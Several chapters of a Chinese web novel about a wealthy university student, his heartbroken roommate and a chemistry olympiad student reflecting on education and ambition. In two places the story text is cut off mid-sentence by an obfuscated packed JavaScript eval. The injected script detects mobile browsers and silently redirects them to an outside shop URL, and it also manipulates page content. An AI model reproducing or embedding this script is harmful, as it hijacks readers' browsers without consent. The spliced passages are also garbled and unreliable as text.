“嘿嘿,好像是有点土。这不重要,我们还说好要在家里养一只猫一只狗,要一起走遍世界上每一个角落……” “眼见着咱们大四要毕业了,我也找到要我的单位了,我这次去找她就准备说这件事。” “谁知道我到车站了,她打电话过来……过来说她爸妈不同意,她爸妈坚持江浙沪的姑娘绝不远嫁。” 一个东北爷们一下子哭得抽抽嗒嗒的,“我当时想着赶紧就业,早点给她一个家,压根没打算保研考研。” “老宋,你看,就我们这个专业,没有研究生学历,在江浙沪,哪有企业要我们啊!就算有,要租房,要水电,这点工资哪能养活我们两个人啊!” “还是回到钱了吗……”宋飞珑笑意微敛,用一种说不清道不明的眼神看着以往意气风发的朋友,“也难怪……” 钱,生命中绕不开的话题,也是大学生从象牙塔走向社会所要学会的最惨痛的一课。 当电视新闻中纯正的播音腔提及无数次的学历贬值真正发生在自己身上时,他们这些经全家之力拖举,承载着全家人的骄傲,所谓名牌大学的尖子生终于明白,那被悲叹的孔乙己的长衫,不是想摆脱就能摆脱的。 不是每个即将毕业的大学生都同宋少爷这么幸运。正如唐瑜嫣初见之所断言,他家底殷实,衣食无忧,可以追求无尽的精神财富。 正因如此,于他而言,读书倒也称得上兴之所至的消遣,理想、志向可以毫无挂碍之谈论,钱币不过是不同颜色的彩纸,洒在天上灿灿烂烂、轻轻飘飘。 其他人呢?要生活、要养家,要用曾经养尊处优的双手为家人撑一片天,要为那碎银几两向老板点头哈腰当牛马。 时间过得如此之快,之前从母亲手里扣出皱巴巴零钱的孩子,也到了为这几张轻飘飘 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他摇晃着易拉罐,沉浸于淡黄色麦芽发酵物与锡纸皮海浪击岸般的颠簸。这液体不知道有什么魔力,人让开心的时候想念,难过的时候惦记。 “老宋,你怎么也喝上了,你不许喝……我还没说完呢……其实我知道,她也在哭,我就说我去找她,我们见面说。” “你看,我们下学期还有春招,我春招的时候,再努努力,以后拿了工资,我可以少吃点,攒车攒房……实在不行,我也不挑,洗试管、扭螺丝也好。” “谁知道,谁知道,那车竟然晚点了,他妈的,它晚点了,整整晚了四个小时。” “然后我改签,刚改完,它也他妈晚点了,凭什么啊,它凭什么不带我走!那我还能去哪?我读了一辈子书、一辈子书啊!”刘启捂着胸口向宋飞珑崩溃地大喊,语气癫狂又破败。 在他呼出的臭熏熏的酒气中,宋飞珑突然有些迷离。他好像被这并不好闻的气味裹挟,摇摇升向天花板。 云层之上,那皎洁温润的光在呼唤他,现实之下,大地在嘶吼鸣裂,不知为谁哀歌。 “老刘,没事,我……这样吧,你就去我家公司在这边的市场开发部,就说是我担保的,一年。你一边干一边准备考研,考回咱们学校。”宋飞珑听见自己茫茫然地说。 “老刘,不要放弃……你好不容易走到了这……”好不容易见到大城市的灯火,好不容易挣脱过往的诸多苦难。你不要因挫折折骨,不要就此认命,也不要被世俗打败。 不然,我所坚持的,教育的意义,何在? 刘启应该是被他的邀请震惊了,颠三倒四地说着什么,抓着他的手使劲摇晃,大悲后大喜,已经哭得乱七八糟的脸上又出现了新的泪痕。 不过宋飞珑已经听不清了。 “我是谁?我在哪?这是哪?”短暂断片后,他摇摇晃晃地站起来,踢开脚边喝空了的啤酒瓶,看起来比刚刚的刘启还癫狂。原来他才是今晚喝得烂醉的那个醉汉。 他下意识地往外走,在门口又突然驻足,他心下空白一片,“我要去哪?我在干什么?我要干什么?我……” 他的耳边突然响起一阵嗡鸣…… 一刹那间,他突然清醒,猛一回头冲回宿舍,把柜子里存放已久的大熊抱了出来,又随手抄了一把伞。 “老宋?你还要出去啊?你别……再陪我喝点,咱们不醉不……”老刘在地上挣扎着爬起来,大着舌头口齿不清地喊。 “不了,老刘,你回床上睡,我刚帮你订了明天下午的车票,你和你女朋友好好说。别管我,我要去找我的人生意义了!” 人生……意义吗?刘启晃了晃晕晕乎乎的脑袋,喝酒喝多了有种钝钝的疼。 罢了,酒醒了,梦散了,明天又是新的一天。 41. 第 41 章 “说吧,大半夜不睡觉,邀请我来咖啡厅坐着听雨声,意欲何为啊?” 唐瑜嫣搅动着咖啡液上的泡沫,全然无视站在窗户边对她怒目而视,无声指责她毁了自己一天里做出的最完美拉花作品的服务员。 这是一家校内24小时营业的咖啡厅,同时也是一个专供给期末周临时抱佛脚的速通大户们连夜学习的夜间停机坪。 门口的招牌暗藏巧思——“啡诚勿扰”。此“诚”字是否喻指爱情尚且难说,但其中一定藏着几分“投诚”的意味,“老师,我都这么努力了,捞捞我呗!” 他们来的时机很巧,上一桌顾客刚走,这个视野最好的临窗位置因此空了出来,宋飞珑赶紧把唐瑜嫣拉过来坐下。 “小唐运气真好,这位置可难抢了!”他压低声音解释,“这儿角度好,可以看见外面的通海湖。而且更重要的是,两边的椅子底下还有充电桩!”他不敢大声炫耀,怕引起公愤。 正值期末周,一整个咖啡厅已经被眼窝乌黑、面色憔悴的倒霉大学生所占领。这些当季限定物种身披高中校服,嘴里念念有词,试图考试时请神到高中那个无所不能的自己。 “我们大四课少,早考完了。大一大二的还在奋斗呢,全靠咖啡因续命。” 能理解,已经考完的人,在还没考的面前,确实应该夹紧尾巴做人。等等,他刚刚说了什么来着,咖啡因? “咖啡因”三字一出,唐瑜嫣立马变得警惕起来。坏了,这人不会是想灌她咖啡,然后彻夜长谈以此搅乱她的生物钟,让她以后永远都睡不着,最后只能来和他怀民亦未寝吧? 不然大半夜的,专程跑来这是为什么,感受玄学加持的学习氛围吗? “宋飞珑?宋夜猫子?你听见我在问什么了吗?”他迟迟不开口,眼见着睡觉时间一分一秒被压缩,唐瑜嫣再次出言催促。 “哦…哦……抱歉,有点耳鸣。你刚刚是问我意图吗?嗯……说来有些玄妙,我是来找你帮我证明我存在于这个世界上,我与世界相融且相互影响改变这一论题的。” 宋飞珑恍然惊醒,神神叨叨地向她伸出食指,仿佛已经融入一咖啡厅的玄学群体,“不过你什么也不用做,我……” 我只是突然想见你,突然想看看你,突然想找找认同,突然想听你用合乎现实的方式描绘理想。以此为我证明,理想可以依托现实而存在。 “哦?早说啊,这还不简单。” 如此酣畅淋漓的抒情还未来得及从喉间涌出,便被唐瑜嫣立即截断。 “你听且我细细分析。这样,我先给你一巴掌,在受巴掌的时候你能感觉痛,这是存在于世界上。” “而我的巴掌能打到你,说明你没与世界分离,你在这装神弄鬼,跟周围的同学相互照应,形成力场。没写略,证毕。” “所以赶快的,实践是检验真理的唯一标准。快把脸凑过来吧,速战速决,我还能早点回去睡觉。”为了合理地扇他巴掌,唐瑜嫣口若悬河,真理歪理大乱炖。 可惜的是宋飞珑此时此刻缺少了些实践精神,不愿为即将闻名于世的唐式法则冲锋陷阵,成为被捆到绞刑架上火烧的第一人。 他手忙脚乱地截住唐瑜嫣挥来的巴掌。感受到迎面扇过来的风,这人把即将要说的话忘得一干二净。 好在他的嘴一向能说会道,脑子没转过弯来自己也能运转,“不是这种……我是觉得,我离你们好远,好像是有点不食人间烟火。” 以为理想能战胜现实,教育能改变一切。其实到头来,就算学有所成,也要没入麻木痛苦的世俗。 “哈?我认识你的第一天就这么说了,你现在才反应过来吗?”眼见一击偷袭不中,唐瑜嫣扫兴地抽回自己的手,揉着手腕转了转,“少爷,您太理想了,偶尔也可以选择脚踏实地一些。” “脚踏实地……脚踏实地吗?意思是让我做点什么来大辟天下寒士?” "可我自觉已竭尽全力,但个体之力终究渺如微尘。当知识为他们打开世界之广阔,却又要目睹他们重归人海的平凡——这种清醒的启蒙,反而成了加倍的痛苦。"宋飞珑撑着头想,“这么看来,我什么都没能改变。” 不知道是他今天水逆,还是老天非要苦他心智,才能增益他所不能。他刚想继续向唐瑜嫣辩解些什么,竟又被突发事件打断。 有位倒霉催的老哥的蓝牙耳机猝然漏音,以至于在他平板视频里,某著名大学赛博高数恩师的讲解声,顷刻间在咖啡厅里炸开。 “……这节课从刚开始到现在,统统都不用学。没用,一点用都没有!” “?哈哈哈哈哈!” 可能是句话已经有名到广为流传的程度,也可能是在场所有人都在看同一个视频。 一时之间,咖啡馆四周响起了叫好声和鼓掌声,还有好事者转头拍着他的肩提醒。 “兄弟,现在还在看这个吗?听哥一句劝,换个速通课听吧,不然熬穿都学不完的。” “学弟啊,别看了,我们学校考得比这难多了,只看基础题是过不了的啊!你们高数老师发ppt了吗,看那个快一点!” “桀桀桀,又到了向老师证明我怎么考上大学的时间了!” “这真是名牌大学的大学生吗?”听到这些此起彼伏的鬼叫,唐瑜嫣有些目瞪口呆,对名校的滤镜又多了几道裂痕。 被这么一打岔,她也不知道该说什么了,瞪着眼睛与宋飞珑面面相觑,等待对方率先开口,把话题继续下去。 谁能想宋飞珑不知道受了什么刺激,硬是一句话不说。 这人在楼下接她的时候又淋了点雨,头发湿漉漉地耷拉着,看起来像大半夜被抛弃的小可怜。 唐瑜嫣盯着他沾染上水汽、始终低垂的眼眸看了两三秒后,难得有些良心发现,不忍继续伤害他,于是有些尴尬地撇开眼补充道。 “你别,你这么看着我是什么意思,想让我安慰你吗?不可能的,我跳下……哎,好吧好吧,那什么,心怀理想也不是件坏事。没有热血沸腾的理想主义者,新中国都不可能出现。” “而且你也不是那种问别人吃不上面包,那为什么不吃蛋糕的资本家。你已经做了很多力所能及帮助别人的事,也不算空谈理想吧。” 如同一个看到超难压轴题只会写解的人,唐瑜嫣憋了半天憋不出安慰他的话,只得自暴自弃地搜刮全脑袋为她的论点提供论据。 “哎不是,你……真难过?啧,那我帮你叫块蛋糕来怎么样,帮你补充多巴胺、胰高血糖素和肾上腺素。”唐瑜嫣抬脚踢踢他的小腿,咬着唇再次给他提建议。 “哪用麻烦这么多激素?内分泌系统要抗议了。”可能是被她一秒变十几次脸逗乐,宋飞珑嘴角突然弯起。 他抬手揉揉放在旁边椅子上,准备让她抱回宿舍的那只大熊的脑袋,为自己的沉默辩解,“抱歉啊,思绪有些混乱。” “你混乱归混乱,别欺负无关人士。这是已经我的熊了,你不许蹂躏它。”唐瑜嫣霸道地把熊从他手底下抱走,“所以,你还不愿意泄露内心的天机吗?真要我猜啊!那可真是男人心,海底捞!” “那您赏个面子,捞一下呗!捞中了大大有赏!”宋飞珑强提起精神打趣,他的灵魂还被困在那间沉闷压抑的宿舍,并未驱散蜿蜒路径上的雾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406490|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哇,又我最喜欢的解谜游戏了,”唐瑜嫣面无表情地感叹,“跟你刚刚问我的问题有关吗……哦?这个表情,那就是有。” “怎么?让我想想,你刚刚怎么问得来着……你是否对世界做出了影响……” “影响……那就是改变,所谓改变,就产生了相应的意义。怎么,你在思考你的人生意义?” 她盯着眼前搅成一团的咖啡推理深思,霍格沃茨的占卜课似乎会教茶沫占卜,那咖啡呢,咖啡沫也能看穿未来吗? “哎呀,好没悬念的游戏,小唐还是太懂我了。”宋飞珑感动得热泪盈眶,用更谜语的话揭开了谜底,“给我光和尺度的那座灯塔,它的墨水快用尽了。于是,我行走的整条海岸线开始消融在雾里。” “讲人话好吗……我求你,不要再当深海大祭司了,你的下半身没有八根大触手。”唐瑜嫣捏着咖啡杯,险些将它捏爆。 “你的灯塔能是什么?你那引以为傲的教育理念吗?” “不过你从一个高中生身上找教育的意义也太早了吧,好歹也得找个已经工作的人啊,至少能验收成果。” “可是如果读书不能给你带来一份好工作呢?没有工作,谈何经济;没有工资,谈何追求。”宋飞珑屈手敲击桌面,定定地看着她。 “你把我话抢了还指望我说什么。我读书本来就是为了改变生活,不能改变我读什么书。”唐瑜嫣终于没忍住,把眼前的咖啡一口闷下去,感受苦涩在唇齿间流转。 叽里咕噜聊了一大堆,困意都没了,还睡什么,不睡了,接着奏乐接着舞。 “可是现在,学历就像泡沫经济时的货币,一戳就破。市场供需关系扭曲,供给远远大于需求。读书不再能改变人的一生……” 她的动作在宋飞珑眼底慢放,拆分成每秒24帧,正放完接倒放,那咖啡似乎还满当当的放在桌上。他到底在取哪一个参考系,牛顿定理是否存在,两件事物间又是否有因果关系。 “你今天到底怎么了?宋飞珑,我以为这点不需要我来提醒你。可能是我未经打磨,说白了,在我眼里,读书就是种手段,在我们学会知识的同时,眼界和认知也增长了。” 唐瑜嫣深吸一口气,向周围环视一圈。相互起哄调侃的牛马们并未收工,刚刚的漏音似乎只是个小插曲,笑完过后,翻个白眼,他们又投入到紧张刺激的复习生活。 “不管是否能找到好工作,我们能靠读书上大学,干自己喜欢的事,看到更广阔的世界。” “见过巍峨的高山,我们就不会被沿途的小山丘绊住脚,因为我们始终明白所谓高山行止,景行行止。” “我们不会被眼前的蝇头小利迷惑,我们始终紧握天梯,挣扎着向上爬。” “见过真理的浩瀚无垠,我们便不会被并不合手的银色素圈所禁锢,在家宅后院碌碌此生。因为我明白,追求虚无缥缈的爱不是我人生的全部,如果程序足够精密,我可以融出比这更纯的金属。” “所以,无论成功与否,我读书只是为了,向世界……”说了一大堆,唐瑜嫣口干舌燥,咖啡又被自己一口气灌完了,索性准备为自己的临时演讲总结。 没想到竟与宋飞珑异口同声:“……交出属于我自己的答案。” “啊,我真傻,真的,把自己赶进死胡同里了。”在找服务员要白开水时,她听见宋飞珑喃喃自语,“刘启这小子真把我醉晕了,真理从眼前飞过都能被盲目无视。” “教育啊,塑造的可是人的灵魂。有如此灵魂之人,怎么可能被一时的挫折苦难痛击不起。不仅如此,他们还会一步一步往上爬,攀至天光云影,为那浩浩青天。” 42. 第 42 章 “看来我今晚注定要熬穿了,不是熬于麻将,而是熬于聊天。”唐瑜嫣看到宋飞珑醍醐灌顶后眼里冒出的金光,有些绝望地感叹,“也算是提前适应大学生活了。” 好在随着宋飞珑回过神来,他的良心也跟着归位。 他立马起身结账,为诸位期末学子让出了这能充电正对湖的风水宝位,又将唐瑜嫣和她的熊送回行宫,助力她明日早朝。 或许是唐瑜嫣喝完咖啡后,精神异常亢奋,第二天上课竟完全不显疲态,硬是考完了两场试再去图书馆自习到了十点。 有大学生听后咋舌,“年轻真好,年纪大了真的不能不服老。想当年,我高中的时候……” “行了,别追忆往昔了。你看到我给你买的票了吗,你的女朋友在等你。你走了我就是宿舍的皇帝了。”宋飞珑把在宿舍磨磨蹭蹭一步三回头的刘启踹出门。 “嗨呀老宋,那什么,实在对不住啊,昨晚喝断片了,出大丑了,感谢您替咱收拾烂摊子啊。” 刘启刚在门外稳住身形,想痛斥他的反人道主义精神,突然就回忆起昨晚自己发癫的丑态。他立马换上另一副表情,撅了个大腚,双手合十向他鞠躬,就差说一句“萨瓦迪卡”。 “别,受不住这份大礼,要不你还是祈祷今天的车不晚点吧。”宋飞珑侧身躲开这一拜,拜天拜迪拜父母,怎么还有想拜舍友的。 “呔,要是这高铁再晚点,我就租个车自己开去上海,我就不信高速还封路。”刘启拍着行李箱拉杆信誓旦旦,像是在鼓励昨晚崩溃的自己。 毕竟酒精的麻痹如同一叶障目,但现实的问题,终究需要清醒后的自己重新起身解决。 看见他除了宿醉头疼之外没出别的问题,宋飞珑倍感欣慰,当即表明你赶紧起去追爱吧,别在宿舍里制造罐头垃圾了。毕竟这货不仅自己不打扫,还要躺在垃圾中央,成为垃圾中的一员。 列车晚点果然还是小概率事件,一晚上遇到连续两起纯粹是因为他运气太背,买到轨道结冰车次的连锁效应。 总而言之,这一回,他成功坐上宋飞珑帮他选的列车,也成功见到了他还未分手的女朋友。至于他们俩的后续如何,就不是宋飞珑该八卦的事了。 可宋飞珑想关心的人偏不需要他关心。当他发觉无论看什么都会联想到唐瑜嫣时,就彻底认栽了。惭愧啊惭愧,智者不入爱河,他再也当不成这两袖清风的智者了。 他隔三差五地发挥主观能动性,横跨大半个校园也要去找唐瑜嫣,可唐瑜嫣本人却因竞赛忙得焦头烂额,根本没空理他。 第一天走进图书馆时,她多少还带着点游览般的新奇与体验的心情。以至于看到那些在通宵教室里宣称“一夜创造奇迹”的大学生,也总带着些不以为然的疑问。 到后来发现自己已然成为了挑灯夜读中的一员,她终于感同身受起来——要不说学海无涯呢,书,是永远读不完的。读书,更是一次长夜无明下的踽踽独行。 原本他们还想体验一下大学的体育馆、活动室,周末出门打个麻将、骑骑车放松放松。 可惜人算不如天算,好不容易熬到法定休息日了,唐瑜嫣又绝望地发现——本身课程就难跟上,作业习题还多,每天卷生卷死都完不成进度。 不仅如此,来自外界与他人的压力也是他们不得不品鉴的一环。 虽说周围人人都跟不上,但人人都在加班加点学。俗话说得好,不怕别人优秀,就怕比你优秀的人还比你更努力。 如今放眼望去,图书馆里全是既优秀又努力的人。此番光景之下,唐瑜嫣哪里还敢出去放松。即便没课没考试,也得天一亮就匆匆扎进图书馆。 “哎,你们也真够忙的,显得我这个太子陪读很没用。”宋飞珑接受了他们沉迷学习无意放松的理由,权衡了半天最后还是叫了一桌大餐直接送到学校,然后拉着大家去食堂吃,以节省外出路途上花费的时间。 “哪能呢!宋哥,他们都是骗你的。我每天起得比鸡早,睡得比狗晚,就去看那比蚂蚁还小的字,其实一点也不苦,一点也不累。” 段辰的眼眶周围已经上了两层黑眼圈,像熊猫抱着竹子一样,抱着碗狼吞虎咽。 “真要说的话,你不大半夜抽疯找我聊天,就是对我睡眠的最大支持。哦不,我也是骗你的,其实看专业书上一点能占半页的概念才是。” 唐瑜嫣也在夹菜间隙语速飞快地调侃他们的金主,然后继续嚼嚼嚼。 “而且我总算发现为什么自习室要正对通海湖了,原来是方便大家学到崩溃后,立马去找屈原开水下派对啊……” 多么充满死感的地狱笑话。 “哪这么多派对动物?真要这样通海湖底下人口密度都要超标了,屈原还迫不得已夜夜笙歌。”宋飞珑用眼神描绘着她的动作,笑得有些傻气。 “没事,那等你们真正上大学之后,再来体验这些项目吧,给未来留点悬念。什么都尝到了,可就没有望梅止渴那劲儿了。” 毕竟他们是来集训而不是来参观的,把这儿玩了个遍然后什么也没学到总不是个意思。 不过看着他们如同龙卷风搜刮停车场般炫完眼前的饭菜,宋飞珑还是没忍住,将那个问题问出口。 “虽然我知道学习很辛苦,但我真的很好奇,你们集训到底发生了什么,怎么一个两个都成这个样子了?” “哈,既然你诚心诚意地发问,那我就大发慈悲地告诉你。别的竞赛我不了解,但是化学竞赛……”唐瑜嫣咽下最后一口菜,擦了擦嘴,“无他,就是所有人都卷成菊石了。” 而且比起半只脚踏进社会担心未来有没有饭吃的大学生,他们这些正在厚积薄发的高中生更关注什么时候能摆脱学业苦海。 毕竟有句价值观扭曲到人尽皆知的话,高考只有一次,生命可以重来。 除了集训前一天晚上发生的小插曲,唐瑜嫣的集训生活本应该称得上顺利顺遂。 教授是好教授,学识渊博,言之有物,并不是那些只有书面荣誉的花架子。 若非要挑毛病,就是他那一口颇有地域特色的普通话,前鼻音后鼻音不分,平舌音翘舌音不明,这个撤个迷混,平仄声部转得更是一塌糊涂。 中文如此,英文更是灾难。 这教授一看就是扎根于我国乡土中,念洋人的名字更是让人满头问号,那化学方程式又用得基本全是洋人名。唐瑜嫣每次都在怀疑自己看的方程式和他说的是不是同一个。 学习的内容难,考试更是难得过分。竞赛的深度、广度在一张张试卷中展现得淋漓尽致。 也不知道老师到底从哪个边角料中扣出这么多知识点,有张卷子居然让他们填,“溴??离子中间体较碳正离子中间体的优点是什么?” 这鬼知道是什么,都利于有机反应进行啊,还有差距上了。唐瑜嫣一边写,一边愤愤地咬着笔盖。她顶了天也就能写出电荷分布有所不同,那立体选择性谁猜得出来。 绕是如此,厉害的人依旧很多,竟然真有人拿满了这题的分,甚至还写出了碳负离子中间体与两者的比较,简直是丧心病狂。 与之前被迫单机上课单机刷题不同,在本次各省高手云集的外培中,唐瑜嫣终于明白了人外有人,山外有山这八个字的力度。她不禁感叹网课怎么不算是一种坐井观天。 想当时,坐在家中考试——哦,还不一定是坐,躺在床上概率大一些——所有数据靠云端上传,是否作弊全凭自觉。 如同那震惊寰宇的黑暗森林法则,能否正确评估自身与他人的实力成了一大难题。但无论是因闭关锁国而膨胀自大,还是将所有人都视为威胁,都不是良好的学习氛围。 一股莫名的恐慌在集训教室蔓延,又在某次上课中被彻底点爆。 好像是上一个星期二,讲评完前一天的模拟卷,离下课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406491|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又还有一段时间。 教他们有机化学的教授不想就这样放羊,盯着电脑界面看了两三秒后,问出了一个与他研究相关,且颇有拓展性的问题——我们如何降低生产高分子材料的成本,缩短其开发周期。 只要谈到实际生产,那必定涉及到成本,从某种程度上来说,这个问题很好回答——当它仅仅出现在高考化学试卷上的时候。 “添加特定催化剂,尽量选择低温低压,促进反应平衡转化,避免副产物产生,避免与仪器发生反应。” 一秒钟内,唐瑜嫣的脑海中就出现了好几个放之四海而皆准的答案,不过这些连竞赛强度都达不到,更别说还要考虑现实情形了。 毕竟化学反应千变万化,可谓是牵一发而动全身,每一个流程都要精打细算。 这一整个教室的人估计都和唐瑜嫣有同样的想法,太简单的谁都懂,说出来没意义。更复杂一些的,你不说具体生产什么,我也举不出更好的例子。于是整个教室的人陷入了沉默。 “这种时候,就该有一位英雄站出来分享一下见解了。”唐瑜嫣一只手撑着头,一只手在草稿纸上随意画了画伍尔夫—凯惜纳—黄鸣龙反应的工艺产线,给自己找灵感。 比灵感更先来的果真是死装哥的举手发言,唐瑜嫣还记得,当时她坐在教室中间的斜后方,靠近走廊。 她前面那哥们想到什么似的,突然兴奋一蹬地,只留那原先承受了他全部体重,不受力后自动弹回的板凳在身后晃动,发出“嘎吱嘎吱”的声音。 “老师,我有一个想法,但用得不完全是化学的知识,还有材料和计算机方面的内容,不知道合不合适!”这人颇为谦虚地表示,可能想在教授面前留下老实求教的印象。 坐在他正后方,快被桌子谐振震晕的唐瑜嫣可不这么觉得,心里默默吐槽,“少年,收收你这拽得二五八万的气焰。”她扶着桌子,想靠人力减震。 “没事,想说什么都可以说,我们化学本来就有很多相关的交叉学科,我问的本身也是个有关材料的问题。” 教授显然不关注他是否仅是浮于表面的谦虚,只在乎他想说的内容,闻言耐心地鼓励。 “类似于人类有基因组,高分子材料也有基因组。” “我们可以利用计算机算法,在电脑上预先搭建材料,通过理性设计-高通量实验-大数据技术的研发模式,减少现实成本。” “其间可以把做化学实验转变为依据机器学习相关的理论编程。总之就是把一个化学问题,转变为利用AI大模型的算法问题。”这人越说越兴奋,恨不得上去跟所有人讲解什么是合适的算法。 “所以我认为这也是化学学科的前景所在,学化学也可以与电类相关,不至于找不到工作。” “啊,对不起,教授,我扯远了。害,我这人就这样,一讲就停不下来……所以我建议所有人都去学一下编程…哎,这死嘴,这是化学竞赛课……” 唐瑜嫣嘴角抽了抽,是否谦虚果真在几句话间便原型毕露。但这人,好像还真有点东西。 “啪啪啪。”教授率先鼓起了掌表示赞许,“这位小同学说得很对啊,这确实是目前一个非常重要且许多人都在关注和研究的方向。” “冒昧问一句,同学,你叫什么名字?” “高扬。高度的高,飞扬的扬。” “很好,我记得你。你昨天那道有机大题只扣了一分。” 什么?! 这下所有人都坐不住了,你的意思是,那道平均分只有总分一半的题,有人只扣了一分? 唐瑜嫣的眼睛也瞪大了,一种难言的焦虑油然而生,差距…这么大的吗?不至于,至少不应该……难不成,她也要开始看最新的文献了? 这个想法几乎也是同时出现在了在场所有人的脑海中。 于是,这节课以后,他们都陷入了无限地挑灯夜读中。 43. 第 43 章 这人是否存有搞崩所有人心态的想法,我们尚未得知,总之这件事直接推动了竞赛学生的超前学习热。 就同高中生去借大学课本,学习洛必达和泰勒展开解高中导数压轴题一般,唐瑜嫣弄来了宋飞珑的知网账号,开始翻阅sci和Nature中与化学相关的论文。 很难评判学习这些超纲的知识的投入和回报是否能成正比,但飘在空中的人总是想抓住些什么,即使它并不是最佳选择。 而且,又有谁能断言后网课时代的出题方向呢? “小唐,道理我都懂,但为什么这些论文全是洋人写的,你看得不眼花吗?”作为化学竞赛的一员,段辰也毫不例外地被卷入了此番热潮。 “就凭你看的顶刊都是他们发行的,管你母语是什么,都要配洋文翻译,”唐瑜嫣揉了揉泛红的眼睛,“这些专业名词我也看不懂,我整页截屏扔翻译器的。” “宋哥,你看得懂吗?”段辰转头看向宋飞珑。 这人简直无时无刻不飘荡在他们身边,连自习也要硬插过来一脚,他们看论文,他就在旁边看粉色小猪一家冒险记,正可谓是容不下的圈子也要硬容。 听到自己的名字,宋飞珑恋恋不舍地合上绘本,为他答疑解惑,“我吗?看得懂,小生不才,雅思也是拿了8.0的。但我还是喜欢整页翻译,读中文效率高多了。” “你没事考雅思干什么,申海硕吗?”唐瑜嫣手一抖,电容笔一不小心被摔到了桌底,还没等她弯腰,宋飞珑已经捡好给她递了上来。 “不申,考着玩儿。我绩点超了保研线,大创教授点名要我进他实验室。我已经不是自由自在流落在外的野人了。” 未来已定,自然轻松,宋飞珑眉飞色舞地提议:“你要真看不懂,小宋愿意向您提供翻译业务,哦,还附带催眠服务。” “你以为我自己看这个就不困了吗?”段辰咬咬牙给自己打气,准备硬撑着再读几段,“话说展姐最近在忙什么?怎么好几天都不见人影。” “她?他们数竞从早考到晚,前几天的一次考试,她被人碾了,现在在闭关修炼呢。”唐瑜嫣转着失而复得的电容笔,颇为无奈。 说是被碾,其实也只是拿了个第三。虽然不是每个竞赛生都会选择来这里集训,但按这个水平上去,拿金牌算是绰绰有余。 只是展妙这人见不得自己名字下面不是1,硬是要把别人给踩下去。 “那你们呢,考得怎么样?别的省是不是有很多大佬?”展妙是个异类,不在考虑的范围内,宋飞珑想听听这两个正常学生的发言。 “唉!小唐是真厉害,排名基本都是个位数,我就不行了,次次和平均分称兄道弟。”段辰重重地叹了一口气,上不上,下不下,中不溜秋最可怕。 唐瑜嫣摆摆手,没有收下他的夸赞,“第八第九也是个位数……而且不得不说,前十每名之间差距都巨大,前三的知识量跟我已经不是一个量级的了。” “不至于吧!”段辰越听越崩溃,不知不觉把头顶挠成了鸡窝,“那我还怎么活!不活了呗!” “那我要看30秒广告复活你,说好要做难兄难弟,你怎么能先我一步解脱。”唐瑜嫣也开始胡言乱语,“看广告不行我就转发到聊天框,总有一款适合你。” “我靠,还能这样?这鬼门关算是给你玩明白了,阎王来了都得给你竖大拇指!” 可取得阎王的敬佩并无大用,取得门捷列夫或勒夏特列的尊重才是正解。 他们休息了一会儿,又重新投入到参拜科学圣经的进程中。 或许是日程表式的生活太过枯燥,时针和分针追及和相遇成瘾,他们两周的集训竟如流水般度过。 油光满面地进,形销骨立地出,睡是睡不够的,吃是来不及吃的,人是来渡劫的。 出来的人无一不嘶吼着下辈子就算饿死,从这里跳下去,也再也不来了。这怎么不算参与了一季《变形记》。 好在被天雷劈过之后是进阶飞升不是道心破碎,他们或多或少都有所收获——展妙稳坐第一宝座,唐瑜嫣蹭进了前五,段辰也跻身上流。 看着三人瘦了一大圈的脸,宋飞珑决心发挥一下自己豪华陪读的作用。于是在回家之前,他领着他们在本市逛了一大圈,试图依靠美食美景唤醒他们对美好生活的向往。 小湖泛舟、公园喂鹿、夜市游街、爬山逐日……总之就是上上下下里里外外全玩了个透,终于把他们的精气神养回了大半。 而最后的最后,宋飞珑带他们到号称江南最灵的古刹上了几炷香。 虽说是古刹,本该是佛法清修之地,却因香火旺盛,显得并不冷清。 门口有免费的小香,他们领完香后沿着入口向内,打算绕整个寺庙转一圈,在诸天神佛前驻足,不走回头路,以表诚心诚意。 进门没走多久,他们便走到了最负盛名的大雄宝殿前。殿中的金色佛像低眉垂目,来往香客熙熙攘攘,络绎不绝。于袅袅青烟中,这尊大佛静静倾听着众信徒的苦厄与愿望。 弯腰参拜间,宋飞珑瞥见了香炉中盛满的香灰。突然间想起了什么,是了,他还没为他们仨求手串呢! 据说在这开过光的手串,能够沟通佛门与人间,将愿望传至上界。这传说假不假宋飞珑不知道,但他戴过手串的好友都享过一段时间好运却是毋庸置疑的。 “你们先逛,我去去就会。”宋飞珑如是说。 因此,他错过了参拜观音殿的机会。 “老大,我们这样每个佛都拜拜真的能考得好吗?”段辰在第一个殿里就把手上香全插进了香炉,后面所有大佛全是空手拜的。 “别管,心诚则灵。”展妙双手合十摇摇摇拜拜拜,“你不会想光靠这个吧,也就求一个心理安慰啊!” “展姐,你目的性好强!佛祖爷爷您别看她,看我,我是傻白甜,我想不到这一层。”闻言,段辰立马转向佛祖争宠,“您看我即使瘦了一圈,依旧白白胖胖,一看就是好福气!” “我真服了,佛祖爷爷看我,我比他努力,他信念感不强,香都没了还在装!”展妙翻了个白眼,据理力争,“我们聪明人要帮助聪明人!不跟傻子密接!” 唐瑜嫣把他俩都扒拉开,虔诚地向佛祖三鞠躬,“爷爷,帮我,我比他们安静,他们吵到您清修了。” 宋飞珑揣着一口袋手串回来的时候,看到的就是此番疯狂争宠的画面。 气氛都烘托到这了,他也忍不住掺和一脚,“大人,帮我,我不求学业,不跟他们挤一条赛道,可以帮您开辟一个新盘口。” 